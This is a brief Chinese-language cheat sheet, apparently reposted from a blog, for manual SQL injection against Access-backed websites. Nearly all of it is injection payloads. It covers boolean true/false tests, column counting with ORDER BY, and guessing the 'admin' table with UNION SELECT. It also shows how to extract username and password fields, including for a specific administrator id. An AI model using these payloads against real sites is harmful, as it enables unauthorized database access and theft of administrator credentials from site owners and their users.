access手工注入

and 1=1 返回正常 也可以用 xor 5>6
and 1=2 返回错误 也可以用 xor 5>4

【判断字段数】
order by 1 返回正常、
order by 1000 返回错误 然后逐步减少，直到最后一个返回正常的数字就是字段数

【猜解表名】
id=4 union select 1,2,3,4,5 from admin
这里的admin是表名，不行就继续猜

【猜解列名】
id =4 union select username,password,3,4,5 from admin

注意字段插在显位数字中

【拓展】
查询指定管理员↓
id =4 union select username,password,3,4,5 from admin where id=2

转载于:https://www.cnblogs.com/slothx/p/9164264.html